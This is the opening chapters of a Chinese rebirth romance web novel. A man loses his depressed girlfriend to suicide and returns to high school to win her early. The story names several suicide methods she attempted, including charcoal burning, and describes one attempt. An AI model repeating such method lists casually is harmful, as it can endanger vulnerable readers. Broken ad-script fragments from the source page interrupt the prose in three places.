《重回对象暗恋我那年》 1. 第一章 1. 宋枝年知道姜可宁自杀的时候,刚下飞机半小时,正在好利来给她买小蛋糕。 他从店内走出来,头顶上方悬挂着一轮上弦月,只被照亮了一半的月相也把他的大脑分成两部分。 一部分想赶回去,一部分不敢回去,甚至连腿都迈不动一步。半圆形的上弦月如同长出了尖锐的棱角,划破天际,撕裂了平和。 是宋枝年的姐姐宋枝月打来的电话,他接起电话的时候,姐姐的声音已经哭得分辨不出在说些什么。宋枝年觉得当时他手里的蛋糕仿佛注进了一万吨的铅,沉得双手发抖。 “弟弟,可宁……可宁她,自杀了,从你们家,十七楼下去,人当场没的。” “你……你……我现在还在医院,你冷静点,别冲动。” 宋枝年不知道是自己是怎么到的医院,车就停在蛋糕店门口,他踉跄几步打开车门,手刚握住方向盘准备启动。 胃部突然一阵剧痛,像捂了一块冰,他全身颤抖了一下,然后下车,叫了一辆出租车。 手机正在振动,是宋枝年的助理小方发来的,问他明天合同的一个地方要不要改,宋枝年迷茫地瞥扫一眼手机里的图片,打字给出了回复。 身体里的某一部分好像认为一切都没有发生,但是心里一阵阵麻麻地发凉逼迫他消化现实。 退出聊天框的时候,他看见置顶那里,上飞机前他问姜可宁,想不想吃蛋糕,姜可宁回复他说好。 所以宋枝年进医院的时候,手里还提着包装得很精致,似乎散发出淡淡奶油香的千层蛋糕。 不过,顷刻间,亮色变得灰暗,淡淡的甜味也被冷酷的消毒水味彻底盖住。就连上弦月,都因为薄薄的云层飘过失去了踪迹,没有明亮了。 2. 宋枝年是在太平间见到姜可宁的,不,准确来说并没有见到,她全身被一张白布盖着,映出一个清瘦的身形。 曾经的宋枝年对生命并没有所谓敬畏的态度,他是胆子很大的那一类人,跳伞、蹦极、速度攀岩、深潜、高山滑雪,这些一不小心就一命呜呼的极限运动,宋枝年在高中毕业时就已经玩过一轮,当时的他对姜可宁还没有任何印象。 宋枝年的爸爸当时气个半死,恨不得每天十个电话把儿子从鬼门关劝回来,怕儿子还没录上大学,就死在国外。 当时的宋枝年,还能轻松地说出,放心吧,我命很大这种话。 出差之前,姜可宁的状态不算很差也不算很好,宋枝年拜托了姐姐宋枝月每天给她点一次餐,确认她没有因为自己不在家就把一日三餐也省了。 姜可宁就是这样的,最近一年,她的状态几乎可以用濒危来概括,吞药、割腕、烧炭、甚至连用衣架在衣柜里勒死自己她都尝试过,宋枝年要是稍微不注意不知道她还能玩出什么花样来。这样的姜可宁并没有足够的力气和动力面对简简单单的一日三餐。 宋枝年在家的时候好一点,她会应付地吃几口,扯出笑容说好吃,但宋枝年知道,只要他忙一点,多几顿不回家吃饭,姜可宁可以做到两天只从冰箱里拿一罐酸奶这种事。 姜可宁原来很爱笑的,特别是做错事惹他不高兴的时候,比方说一开始的一顿两顿忘记吃,宋枝年回家的时候,她会主动拉着他的胳膊仰着头笑,像在说:原谅我吧,下次不会了!比方说控制不住自己的情绪,给自己身上增加伤口被他发现的时候,姜可宁就会给自己包扎好,偶尔是创可贴,偶尔是纱布,包好了就到他面前晃悠,像是在说:不要生气啦!我已经治好自己了! 是啊,宋枝年命是很大,还屡次冲到鬼门关那里把人抢回来,但架不住姜可宁这个小白眼狼豁出去一条心地想死啊。艹他大爷的命大。 姜可宁,我生气了,你再笑一个给我看看吧。 3. 宋枝年不知道在太平间里待了多久,姐姐宋枝月哭得眼睛都是肿的,被他让姐夫过来接走了。 宋枝年没什么想做的事,想说的话,他并不相信人死后灵魂还在这种事,或者说,姜可宁的灵魂早就死了,只是他一直拽着不让她的身体随灵魂一同离开罢了。 但他觉得还有一点遗憾,总觉得不应该就这样结束。他从白布里摸到姜可宁冰冷的手,牵了很久,又捏了捏。 很想问一问:“宝宝,回家了,想吃什么?” 这次第一次,姜可宁自杀之后没有跟他点菜。 两年前,姜可宁第一次尝试自杀。 当时宋枝年正在公司开会,发了好几条微信问姜可宁晚上想不想煮火锅吃,都没有得到回复。 曾经的宋枝年对她还很信任,没有收到回复的第一反应是姜可宁也在忙工作,或者是睡着了没有看见。 他的印象清晰至今,当时打开家门,家里像是有一层雾,白茫茫的像盖上了薄纱,走近到卧室,有呛鼻的烟味,他刚想教训姜可宁,不要命了抽这么多烟。 一打开门,他看见姜可宁面色有点红,眉头锁着半躺在地上,旁边是一大盆正在燃烧的木炭。 宋枝年放下手里提着的一大袋火锅食材,把姜可宁从地上捞起来,抱着就往医院跑。 好在当时的姜可宁经验不够,也没有后来那么决绝残忍,木炭的量不够,房间门也没有关紧,还有宋枝年一开完会就急着回家给她煮火锅,几方面的因素害得她第一次自杀就失败了。 姜可宁醒来的时候戴着高压氧的面罩,只露出一双清亮的眼睛。 宋枝年也不跟她说话,抿着唇看她眼睛,想看这小白眼狼能说出什么屁话。她戴着面罩不方便开口,宋枝年就观察她的表情,他能看出姜可宁心虚了,她知道自己惹他生气了,眼睫毛扑闪扑闪,频繁地眨眼并不能隐藏她残忍至极的内心。 宋枝年就静静地看着她,姜可宁长得很漂亮,小脸圆眼睛,齐肩的锁骨发衬得她年纪很小,最近几年瘦了一些,又多一些清冷感,宋枝年曾经听过得抑郁症的人眼睛会没有光,但姜可宁不会,就连这个时候,她的眼睛都那么亮,像一汪清澈的湖水。 这样明媚的人,是怎么做出那么不可爱的事的。 正当宋枝年想着要放什么狠话告诉她,要是再有下次,他就不理她了。姜可宁把手从被子里伸出来,抠了抠宋枝年的手心,嘴角弯了弯,眼睛也弯成一轮月牙。 她这个表情很有迷惑性,就像 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 只是不小心打碎了一个碗那样无足轻重,又像在用很随意的语气说,对不起呀,我保证下次不这样了。 宋枝年能有什么办法呢?再有下次,他也还是会揣着一颗战战兢兢的心护着她,渴求她不要那么无情地离开。 宋枝年看见姜可宁的嘴唇动了动,没有听清,他低着头凑近一些。 “想吃你煮的火锅了。”姜可宁轻轻地说。 4. 可这一次,宋枝年失误了,姜可宁没能再没心没肺地笑着抠他的手心让他不要生气,没能说出想吃什么让他心软。 宋枝年只能把她冷掉的手握得有些温度,他很想问一句:“宝宝,疼不疼啊?” 最终也没能说出口,他从西装口袋里掏出戒指盒,打开拿出出差路过专卖店挑到的戒指给姜可宁戴上。 宋枝年是不信命运的人,他觉得不应该这样,如果他再早一天回来,如果他求完婚再去出差,这枚戒指会不会成为姜可宁的牵挂,让她不要那么快就告别这个世界。 但宋枝年很快地否定了这个想法,如果说世界上有什么东西可以留住她,那他已经是最后一环了,她连宋枝年都可以不要,一枚戒指又算得了什么? 姜可宁的爸妈在很早的时候就车祸去世,舅舅舅妈对她很差,因为半年没有上班,姜可宁跟以前的同事也断了联系,她性格很安静,也没什么交心的朋友,生病严重的时候,除了宋枝年,似乎跟这个世界一点关联都没有了。 宋枝年是她小小世界里唯一一盏散发微光的顶灯,只可惜这盏顶灯的光没能把她从万丈深渊捞出来。 宋枝年这辈子总是比姜可宁慢一步,慢一步认识她,没能在最敏感的年纪挽救她的精神世界;慢一步喜欢上她,让她经历了将近四年暗恋的苦涩;慢一步知道她得病了,让她无端地受到指责;慢一步回家,没能把她救回来,甚至连最后一句话都没有。 这是第一次宋枝年从医院出来后,自己一个人回家,以前总没发现医院到家里还挺远的,路上会经过很多地方。 有姜可宁喜欢的糖水铺,她挺爱吃甜的,喜欢糖水上面放一个香草味的冰淇淋,会因为太冰往糖水碗里傻乎乎地吹气;有姜可宁经常去的一家帽子店,她偶尔喜欢戴帽子,鸭舌帽渔夫帽之类的,家里有很多,她也会给宋枝年买,当成情侣款。 临近家里的时候,宋枝年提前下了车,到花店里买了一束白桔梗,是姜可宁喜欢的花。 穿堂风在屋子里扫荡了一整晚,一月份的天气冷到了极致,呼啸的风似乎要把姜可宁最后的气息都从这个家里刮走。 宋枝年把白桔梗放下,找了一个花瓶插起来,他坐在大理石地板上,突然听到一些窸窸窣窣的声音。 是他不久前给姜可宁买的一只小兔子在啃白菜帮子。 真是的。姜可宁自己连饭都不吃,却还能记得给一只兔子喂新鲜的食物。 兔子不能共情,兔子只会知道白菜叶子很好吃,却不知道给它喂食的人花费了多少精力才提起一些精神。 宋枝年现在谁都想埋怨,他自嘲地笑了笑,戳了戳小兔子的耳朵,“你也太没用了吧,连妈妈都守不住。” 2. 第二章 5. 姜可宁其实是很坚强一个人,上学时她是除了读书什么都不会的那一类无聊的人,性格也平平淡淡。在大家都朋友成群、无忧无虑的年纪,姜可宁身处寄人篱下的焦虑,没有知心朋友的孤独,时不时出现的校园暴力,就是在这样的环境下,她的成绩是当年全校的文科第一。 姜可宁就是这样一个安安静静却有着极强生命力的人,努力、认真、用尽全力生活,对周围的所有人都包容,她是那种被泼了咖啡都会笑着说不好意思的人,不是她不懂得抗争,这是她下意识对自我的保护,毕竟在那样一无所有的年纪,她并没有像旁人一样无所畏惧的资本。 高敏感和高韧性构成她看似郁郁葱葱实际根系贫瘠的精神世界;强烈的自尊心和骨子里的自卑让她一刻不停与自己做斗争,想展现出自己体面不狼狈的一面;她对待世界的温柔和她感受到的恶意远远不成正比,让她陷入无尽的黑暗,即便后来宋枝年用密密麻麻的爱缝缝补补,都不足以让她重燃对生活的信心。 宋枝年的爸爸曾经说他是个自私自利的大少爷,从小到大没吃过一点苦,一点都不懂得心疼人,总觉得全世界就该围着自己转,以后谁嫁给他,就是纯纯地受苦。 他爸爸真的说对了,他自私自利没有错,他做不到放手让姜可宁没有牵挂地走,即便现在是这种结果,他也不后悔拉回她那么多次,也许这让姜可宁陷入更大的矛盾。 人心毕竟是肉做的,他能看出姜可宁每次计划要去死之前,面对他都会有种无法忽略的强烈又克制的悲伤。 6. 宋枝年是怎么注意到姜可宁的,起因是同一趟去上大学的高铁。 宋枝年曾经认为他和姜可宁最大的缘分就是那一趟高铁了,那天他记错了高铁票的时间,陪他姐逛街顺便敲诈勒索了几双球鞋。十年前的高铁线路没有现在那么四通八达,也不是每一班车都叫复兴号。 宋枝年就这么错过了那班只需要两个半小时就能到广州的当年最快的一班高铁。 不过这种小事对于宋枝年一向松弛的人生来说只是一个小小的插曲,他让宋枝月把他送到高铁站,到站台办理了退票,又买了最近的一班去广州的车票。 九月一号是最临近的报道时间了,也就是说,他再不愿意坐绿皮火车也没办法,三个半小时高铁的车程,换成绿皮要六个小时,况且他妈的还是无座票。 一向松弛的小少爷不免烦躁起来,这种烦躁在他跟随人群挤进气味难闻、仿佛空气都要争抢的逼仄环境时达到顶峰。 他走到餐车车厢,仅有的几个空座位早就被经停站上车的人占满了,火车的汽笛鸣出刺耳的一声,铁轨碰撞着转动着缓步前进,窗外不知名的树木和远方山上的野红莓向后移动,满载着整车诗和远方和柴米油盐驶向零碎的目的地。 宋枝年是在某节人没那么密的车厢门口看到姜可宁的,她背着一个暗色的书包,手上是一本小说,靠在车门旁边有些生锈的铁杆上,低着头,拿着的小说把她大半个脸挡住了。 宋枝年为什么偏偏注意到她,因为在这个并没有多少校园气息的车厢内,姜可宁穿着全套的附中夏季校服,头发剪成刚到下巴的短发,清瘦的小身板背着个鼓鼓的书包,捧着一本书,毛茸茸的头没有节奏地一下一下嗑在书角上,站在嘈杂的火车里睡着了。 宋枝年站在她对面,就在姜可宁的头快要左偏直直嗑向铁杆的时候。鬼使神差地,宋枝年心里一紧,伸出手垫在她的头和铁杆中间,轻微的碰撞让他的手一面是锈蚀粗糙的摩擦,一面是女孩柔软的头发。 当时的姜可宁晃了晃脑袋,把举着小说的手放下,露出一张白净的小脸,乌黑的瞳仁好像蒙上一层水光,她对着宋枝年揉了揉眼睛,呆呆地看了一会儿,眼神好像没有要移开的意思。 宋枝年被看得心里有些慌,他扯了扯书包带子,然后很自然地微笑着开口:“你好,你也是附中的吗?” 这句询问似乎吓到了她,姜可宁愣了一下,像是如梦初醒般突然变得有些局促,手指疯狂抠校服裤中间的线,她的慌乱就像一颗落入平静湖面的石子,让人无法装作没有发现。 她重重地点点头,车内很嘈杂,宋枝年听不清她有没有“嗯”一声。 后来宋枝年和姜可宁聊起这一趟车,才知道她穿校服是因为没有其他合适的衣服可穿,在车上睡着是因为前一天晚上兼职到凌晨三点凑够学费,又连夜收拾好上学的行李,累得一闭上眼睛就能睡过去。 穷苦贯穿姜可宁整个阵痛的青春,在很多有意无意的瞬间,刺痛她倔强的自尊心一遍、又一遍。 而就是这样像野草般坚韧又顽强的、十八岁的姜可宁,已经暗恋了宋枝年足足三年。 7. 青春就像一个存钱罐,每一份得到的爱都是一枚硬币,待长大后遭遇社会的不公、压力,没有勇气继续走下去时,在存钱罐里翻找属于自己的生命的支点,获得拥抱世界的能量。 姜可宁曾经在某个失眠的夜晚跟宋枝年说:“枝年你知道吗,我感觉自己跟这个世界没什么关联。” 当时宋枝年并没有理解她的意思,只是有点伤心,谁面对爱人说出这种话都会难过的,他很想说出,怎么会没有关联呢,你还有我啊。 但是第二天,姜可宁尝试了人生中的第一次自杀。 因为空白了最需要爱的阶段,姜可宁生命的支点并没有很好地建立,她生命里的存钱罐空空如也,尽管后来,宋枝年拼命往里面塞一些大额纸币,但却无济于事,因为纸币只有数量,而没有重量。 姜可宁需要的是能支撑她抵抗疯狂吞噬她精神的——生命的厚度。而宋枝年来得太迟,他们相爱的时候,姜可宁正常的躯壳下,藏的是千疮百孔的灵魂。 8. 一开始,姜可宁只是比平时睡得多一些,晚上下班回家洗完澡喜欢窝在被子里睡觉。 后来慢慢地,她开始频繁地偏头痛,需要靠止疼片才能睡着。宋枝年以为是她工作太累了体质变差,开始学做一些炖汤。 起初姜可宁还愿意喝完,后来她的食欲也开始出现了问题,不逼着都不愿意吃饭,还总是以胃不舒服作借口不吃饭。 姜可宁的病情跟她的体重一样变化迅速,短短半年多,姜可宁整个人瘦成了皮包骨。 生病让她的脾气变得更倔、不听话了,似乎沉浸在自己的世界,开始有痕迹地把自己剥离。不愿意做检查,不愿意看医生,不愿意吃药,不愿意面对宋枝年。 宋枝年连哄带骗地把她拉去做了一次全身的检查,结果除了贫血没有其他的异常。 “你看吧,我说了没事。”当时的姜可宁偶尔还会跟他开一些费 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 劲的玩笑。 宋枝年察觉她变得不太好,心中的不安使然,跟她说:“广州的空气不太好,过几年我们可以回老家过几年。” 她点头,但没有说好。 这个时候的姜可宁整个人都变得很钝,在恋人的角度来看很像冷暴力,宋枝年也曾经怀疑过,是不是这段恋情让姜可宁感到厌烦了。 这种怀疑的持续时间不到一天,姜可宁不喜欢谁都不会不喜欢宋枝年的。 只是喜欢和爱确实没有办法当饭吃,姜可宁会在深夜等宋枝年加班回来再一起抱着睡觉,也会趁他不注意就无牵无挂地自杀。 9. 在教室里醒来,抬头看到前桌熟悉的校服时,宋枝年以为自己又做了一个梦。 如果以后都需要在梦里才能见到她,那宋枝年也不会浪费一分一秒。正是下课的时间,但数学老师仍在黑板上计算着求导结果。 宋枝年本来就不是什么守规矩的学生,他无视了老师的拖堂,下楼往文科班的地方跑。 路过年级大榜的时候,宋枝年第一次停下来观察,在文科红榜第二位看见了姜可宁的照片。 没能停留太久,宋枝年又迈起腿往九班走。上辈子的他在高中时连姜可宁在哪个班都不知道。 “诶!宋枝年,你跑文科楼来干什么?”宋枝年的肩膀被狠狠拍了一下,扭头看见他的双胞胎姐姐宋枝月。 “姐。”我靠,姐你怎么现在跟十年后长得一样啊。 “干嘛,有事求我啊,今天舍得管我叫姐了?”宋枝月揽住宋枝年的脖子往下压。 宋枝年陷入一阵巨大的恍惚,这要是个梦,那实在真实得有点不像话了。 “姐,你认识顾林峰吗?” 宋枝年不知道要不要说,顾林峰是他姐以后的丈夫,两人会在大学相遇,毕业一年后结婚,中间会经历两次分手,他姐会在第一次分手的时候去酒吧喝个烂醉最后被宋枝年捡回家,那次差点被爸妈发现。 “顾什么?” “……好,没事了。”宋枝年确认了,他确实回到了十八岁,那个姐姐还没遇见姐夫,他还不认识姜可宁,姜可宁暗恋他快三年了的十八岁。 “姐,姜可宁在哪里?” 宋枝月眼珠子一转,“我怎么知道,可宁跟我不在一个班啊,干嘛,你认识她吗?” “认识。” 宋枝年的语气太过严肃,宋枝月看见他眼睛里有一些水光,站直了身体,“怎么啦?有事吗?” “有事,我要追她。” 宋枝月咬着吸管的嘴巴松开了,瞪着眼睛看她弟留给她的一个匆匆的背影。 她站在原地摇了摇头,追姜可宁?这又是哪来的灵感? 宋枝年高中的时候是这样的,恣意张扬,朋友成群,又因为成绩好还长得帅,在学校里面仿佛有了特权。 作为他姐姐的宋枝月见惯了弟弟在学校拽得像校霸的样子,见惯了弟弟受到很多人欢迎情书收到手软的样子,见惯了弟弟在外面疯玩的样子。 她实在是很难把隔壁班那个每天都头低低的,仿佛一心只读圣贤书的孤僻内向的女孩子跟宋枝年联系在一起,更难想象骄傲了整个学生时期的宋枝年说出“他要追人”这种话。 但宋枝年的话是可以当真的,只要宋枝年想做,没有什么是不成功的。 3. 第三章 10. 宋枝年是在走廊拐角处看见姜可宁的。 她还跟从前那样,捧着从图书馆借来的小说,安安静静地靠在一个地方专注地看,微风把她耳朵两旁的头发往后吹,露出一张白净小巧的脸蛋。 宋枝年感觉自己快迈不动腿了,手心好像在隐隐约约冒着冷汗,如果这不是真的,那么按照常理,在姜可宁看见他的一瞬间,梦境就会破碎。 他已经找到姜可宁了,十七岁的、活生生的、他的姜可宁。 算了。 宋枝年穿过三三两两、围在一块儿聊天的同学,边走边害怕又后悔——千万不要是假的,为什么我以前不认识姜可宁呢? 姜可宁刚发觉到身边有一个人站着的时候,正读到小说里的高潮情节,女主角被困在了散发冷气的实验室里,呼救无果,正一点一点地流失体温。 她的眼睛看着一行一行的小字,不舍得移走,直到手腕被轻轻拉起,又被有些用力地握住。 一张她十分熟悉又从未勇敢注视过的脸出现在她面前。 手腕处传来不属于自己的温热,那个人掌心略微粗粝的触感让她全身仿佛过电一般,在正处于末尾的冬季,找回了温暖的体温。 “姜可宁,我来了。”她听见宋枝年对她说。 11. 上辈子的宋枝年和姜可宁的交集始于一班错过的高铁。 在火车上,宋枝年三两句话知道了姜可宁跟他报了同一所大学、同一个学院,但是专业不同。 大学里的同学之间本就交集不深,下了课各过各的互不打扰,更别提不同班的了,就算搭上高中校友这层关系,见面的理由也几乎为零。 据后来姜可宁的自述,宋枝年知道她大学时参加了很多社团,但当时的宋枝年沉迷于祖国的大好河山,周末放假都不在学校,对社团工作更是不屑一顾。 就这么的,不善于与人交往的姜可宁在各类社团里待了一整年,都没有碰见过一次宋枝年。 姜可宁是不会主动去找宋枝年的,当时的她始终觉得宋枝年是遥不可及的存在,她也打心眼里觉得,自己跟宋枝年是两个世界的人。 姜可宁的大学生活过得也并不轻松,因为各种限制的条件和舅舅一家懒得配合的态度,姜可宁没能申请上助学金,只能在刚上大学时就疯狂打工,长久地过着口袋里只剩下一天饭钱的日子。后来在附近混得熟一点,慢慢攒下一些钱,不至于日日夜夜满怀着巨大的压力和恐惧入睡。 在姜可宁在为宿舍费学费课本费发愁的时候,宋枝年正在纠结地给姐姐挑选十九岁的生日礼物——一条限量版的项链。 即便心里有多清楚不可能,但那时姜可宁还是会期待着如同那班火车一样奢侈的偶遇。 宋枝年留有姜可宁的联系方式,在火车上他主动要的,但后来也没有联系过,好像那个会因为跟他对视露出慌乱神情的女孩子确实没有在他心里留下很多的印象。 再次产生交集是在大三一次学院组织的实习上,那是一个大型的贸易展会,姜可宁形象好,被挑去当客商接待,宋枝年跟排班的人打了招呼,把他安排去可以偷闲的跨国公司采购组。 出了学校就是社会,显然姜可宁当时还没有意识到社会的险恶,有一个客户以要求实习生陪同参加饭局的理由,在姜可宁下班之前,就坑蒙拐骗把小姑娘带走了。 这完全是不符合规定的情况,这么大一个广州,要去哪里找?姜可宁当时的岗位主管都快急疯了,学生丢了这种事情可大可小。这事很快传到宋枝年耳边,他当时是这么听说的。 “知道吗?客商组的姜可宁被点走了。” 按照平时,宋枝年很少参与同学之间的八卦,但那次,他开口问了一句,“什么点走?” “噢,有个外商把她带走陪酒去了,不知道她是真傻还是装的。” 不知怎么的,宋枝年脑子里浮现出那张呆呆的、眼睛里盛满水汽的脸。 完全是凭着下意识的本能,宋枝年问了几个人,拿到了那位外商的名片,又打了个电话给自己的爸爸宋羽,一波三折打听到了那个饭局的地点。 宋枝年做事没什么章法,随心所欲,他也不担心别人在背后怎么传,总之他内心里做出判断,付诸行动,就这么简单。 事实就是,他把姜可宁从酒楼里带出来的时候,人已经醉得不清醒了,宋枝年突然有些后怕,要是晚来一些,说不定情况会更糟。 姜可宁跟高中时期有些变化,头发留长了,人好像更瘦了一点,手腕握在手里盈盈一截。 姜可宁喝醉酒一点都不闹,但人好像会比平常更大胆一些,她会用很直接的眼神看着宋枝年,不说话,就这么看着。 宋枝年判断不出她是不是醒着,又无端地想起在火车上,她打瞌睡醒过来的时候也是这么看着他的。 在出租车上的时候,旁边的小酒鬼伸出了手,轻轻地抓了抓宋枝年搭在皮质沙发上的手。 这个时候的宋枝年对姜可宁并没有什么别的想法,他只是单纯地出于一个校友、一个普通男生对女生的照顾。 这么看起来,姜可宁喝醉的时候胆量比平常大出了很多,要不然也不至于暗恋了宋枝年整个高中,而宋枝年一无所知。 她用双手拉住宋枝年的右手手腕,然后轻轻地把他的手放在了自己的脸上,头一歪,蹭了蹭宋枝年的手心。 因为堵车,车流缓慢地蛇行,前进一步,再刹车、再前进、再刹车,椅背和肩膀相撞了很多次,这种无法忽略的颠簸就像姜可宁只会在喝醉酒之后才吐露出的感情,让宋枝年不能再当作无事发生。 那天之后姜可宁没有再联系他,但宋枝年有意无意地跟她保持着不咸不淡的关系,比方说邀请她一起参加项目,比方说路过她上课教室时会专门停下打个招呼,比方说问她要不要放假一起坐同一班车回家。 这些事情宋枝年不清楚动机,他当时并没有喜欢姜可宁,对他表示过好感的女生不少,如果非要进行比较,姜可宁可能是表示得最淡最隐晦的那个。如果不仔细想,甚至无法轻易发现。 他没有喜欢姜可宁,他只是本能地认为,好像不是很想跟她当那种毫无交集的同学,所以非常大方又合适地保持着距离明显的关系。 再后来又是一次校招的实习,宋枝年本着不投白不投的想法递了简历过去,结果就拿到了offer,当时是快寒假的时间段,而宋枝年刚跟哥们约好过年去阿勒泰滑雪。 在给hr发邮件拒绝offer的前一晚,他收到了姜可宁的微信,姜可宁跟他说,她也收到那家公司的offer了,他们可以一起上下班了。 姜可宁并不经常给宋枝年发微信,更多时候有发也是宋枝年先主动,所以偶尔宋枝年也觉得那天晚上在车里是自己的错觉,她认错人了也说不定。 但那天发这条信息的姜可宁好像很开心,文字的语气都松快了很多。又是这种本能,宋枝年觉得如果自己跟她说不去了,她也许会有些失落。 所以那年冬天,宋枝年脱离了大部队,没有飞去阿勒泰,跟一群朋友一起欣赏雪都的蓝调时刻,而是跟姜可宁住进了一人一间的员工宿舍,吃着公司饭堂的盒饭,过着忙碌却充实的生活。 这个寒假之后的发展就很自然了,在某一天,从一束鲜花和一场正式的表白开始,还是宋枝年主动的,姜可宁成为了他的初恋。 以前真的不喜欢吗?这真的说不清楚,如果不喜欢的话,宋枝年为什么在下火车跟她一起坐地铁的时候连着掉了几次身份证;如果不喜欢的话,宋枝年为什么在听到她被骗去饭局的时候久违地向父亲求助;如果不喜欢的话,宋枝年为什么会患得患失,因为无法准确确认她的心意只能保持普通的同学关系;如果不喜欢的话,宋枝年为什么第一次远离自己熟悉的社交圈,在那个小公司里干了一个月的杂活。 总之,宋枝年和姜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 可宁正式在一起是在大四毕业的前夕,当时是2018年。 姜可宁22岁,距离姜可宁第一次自杀还有三年半,距离宋枝年彻底失去姜可宁仅剩下四年时间。 13. 姜可宁还跟以前一样,第一时间是不相信,愣怔了好几秒,又盯了盯被宋枝年握住的手腕。 凭借后来对姜可宁的了解,宋枝年知道她现在正在思考自己是不是出现了幻觉。在姜可宁生病严重的时候,她时常出现一些幻觉,比方说在家里听到去世已久的母亲做饭的声音,比方说感觉小时候养的小狗在舔她的手,更甚者,她曾经怀疑过宋枝年是她幻想出来的人物。 所以这次,宋枝年决定不让这个小傻瓜自己在那里纠结太久。 “你好啊,我是宋枝年。” 宋枝年控制着自己想一把抱住姜可宁的冲动,一只手握成拳头忍着不知道什么时候会流出来的眼泪。 “你好,你……找我有什么事吗?”姜可宁眼神有些躲闪,怯怯地说。 “没有,我来关心一下你。” 她怔了一下,“啊?” 宋枝年笑了笑,姜可宁高中的时候跟后来一样可爱。 “怎么啊?不行吗?” “没……没有。” “那好,吃饭了吗?” 宋枝年高中时并不认识姜可宁,他不知道这个人是不是从以前开始就不好好吃饭,在姜可宁去世的前一年,他每天最大的任务就是盯着姜可宁好好吃饭。 从前他不明白吃饭的能力对一个人来说是多么重要,如果一个人到了连饭都不愿意吃的程度,那么毫无疑问,他的生命正在以肉眼可见的速度消逝。 姜可宁呆呆地点了点头,“吃了。” “是吗,这么乖啊。”宋枝年揉了揉姜可宁的脑袋。她就整个人绷紧了站在原地。 “我靠,宋枝年你干嘛呢!”宋枝月不知道从哪里冒出来,用宋枝年从小听到大的声音大喊了一声,吸引了一些目光。 宋枝年很温柔地拍了拍姜可宁的肩膀,“我等会儿再来找你。” 宋枝年把他姐拉走了,顺带把刚刚旁人落在姜可宁身上的目光带走。 姜可宁后来跟他说,自己高中的时候害怕别人一直看她,因为校服的原因,附中的校服因为竞标换过一次,在高二的时候,当时大部分的人都买了新款的校服,到后面,穿老款的人就寥寥无几了,姜可宁是其中之一,她没有钱买新校服。 尽管大部分人不会因为一套老校服就搞歧视,但在这个世界,有很多智力其实不正常但是生活能自理的傻逼。 姜可宁是自尊心极强的人,这件事情在她心里一直是一个坎,在他们后来的衣柜里,宋枝年曾经发现整整四套新款的附中校服,这是姜可宁在宴请年轻时候的自己,但可见作用并不是很大。 想要的东西一旦超过了一定的时限,又或者需要付出过大的努力才能得到,那么就算得到了,也是一种类似于自我毁灭的收获,并不能带来美好的回忆。 宋枝年拽着他姐,“不是跟你说了吗,我追人啊。” 宋枝月好像听到了天大的笑话一样,“你追人这么快就动手动脚?你耍流氓啊,宋枝年,虽然我平时不管你,但鉴于我们的名字实在太有辨识度,我在学校,不得不跟你一荣俱荣一损俱损,请你管好自己的言行举止可以吗?弟弟。” 宋枝年被她逗笑了,什么耍流氓啊?那是他以后的老婆啊。好吧,只是现在老婆还是一个高中生。嗯,宋枝年也是高中生。 宋枝年想了想,对姐姐说了一句:“你不懂。” “好好好,你想谈恋爱想疯了吧。” 宋枝年不可置否,很坦然地说:“对啊,我成恋爱脑了。” 宋枝月像看傻子一样看他。 “诶,姐,你那是不是还有两套新款的校服。” “对啊,干嘛?” “给我,我有用。” 4. 第四章 13. 宋枝年不是一个性子急的人,但因为上辈子总是因为慢一步让姜可宁过得那么委屈,这辈子他只有一个使命。 让姜可宁从现在开始,能开心一点是一点,能早一点获得开心就早一点。 曾经宋枝年拼尽全力仍然无法挽回姜可宁极速凋谢的生命,现在他要与时间赛跑,延缓姜可宁走向自我毁灭的速度。 宋枝年趁着自习课的时间,按照他姐提供的位置,回家把那两套校服找出来,又在自己房间里找了个大纸袋装好。 拎着走的时候,他看到橙色纸袋上有一个H的logo,旁边印着“HERMES”,宋枝年顿了顿,然后把装好的校服又拿出来,抱在身上,橙色袋子被他随手扔在一旁。 宋枝年翻来翻去,最后到厨房找了一个透明的塑料垃圾袋装上。 司机正在大门口等他,宋枝年快走几步上了车,开车门的时候他想起一件事。 姜可宁在某一次告诉过他,念高中的时候她走路上学,有一天出门急,没有来得及吃早餐,在路上低血糖晕倒了,那条路很偏,没什么人路过,也没人发现她,最后是自己醒的,错过了一整个早上的课。 “小陈叔叔,你方便帮我买辆单车吗?钱找我爸要就行。”宋枝年对驾驶座载了他好几年的司机说。 “行啊,要什么样子的。”小陈叔叔答应得很爽快,然后又顿了顿,“怎么啊?不要我这个司机了。” 宋枝年笑笑,“哪里的话,我姐还得坐呢。” “啊?你以后真要骑车上学吗。那么远呢。”小陈叔叔说。 宋枝年对着空气点了点头,“对啊,噢,叔,单车记得帮我安个后座。” “小年谈女朋友了啊?” 宋枝年挠了挠头发,“啊,没呢,要追。” 14. 宋枝年走到九班后门门口,花了几秒找到了姜可宁的背影。 有一个很严重的问题,要怎么把手里的校服合理地给她呢?姜可宁是很害怕亏欠别人的人,同事给她带一杯咖啡她会记得很久,然后默默焦急地寻找时机送上一个比咖啡价格再高一些的小蛋糕,怕再晚一些还回去别人就觉得她占小便宜了。 十八岁的宋枝年在十七岁的姜可宁眼里跟她是云泥之别,过于冒然会让姜可宁觉得是一种施舍,她会想很多、会觉得丢脸、会讨厌自己。 就是这种骨子里的不配得感让姜可宁难以接受莫名其妙的爱,她就不相信有人会真的没有条件来爱她。 附中自习课没有老师在看,宋枝年挺直身板走到正门,装作很正经地敲了敲门框。 哐哐两声,一颗颗脑袋就抬起来看他,不过姜可宁还没抬头,还在刷刷刷写字。 “诶,宋枝年。”前排门边一个女孩叫了他,音量在自习课的教室里不算小。 这句话显然吸引了姜可宁的注意力,她在听到前几个字的时候就停下了笔,钝钝地抬起头,对上宋枝年等待已久的视线。 宋枝年笑了笑,眼神没离开姜可宁,“咳咳,你们班月考第一名是谁?” 原本有些说话声的班级安静了下来,过了几秒,他看见姜可宁扶了扶黑色的圆框眼镜,假装很镇定地摸了摸鼻尖,然后呆呆地举了举手。 宋枝年已经非常了解姜可宁,上辈子的相处给他开了外挂,他对姜可宁表达情绪的各种小动作都了如指掌。 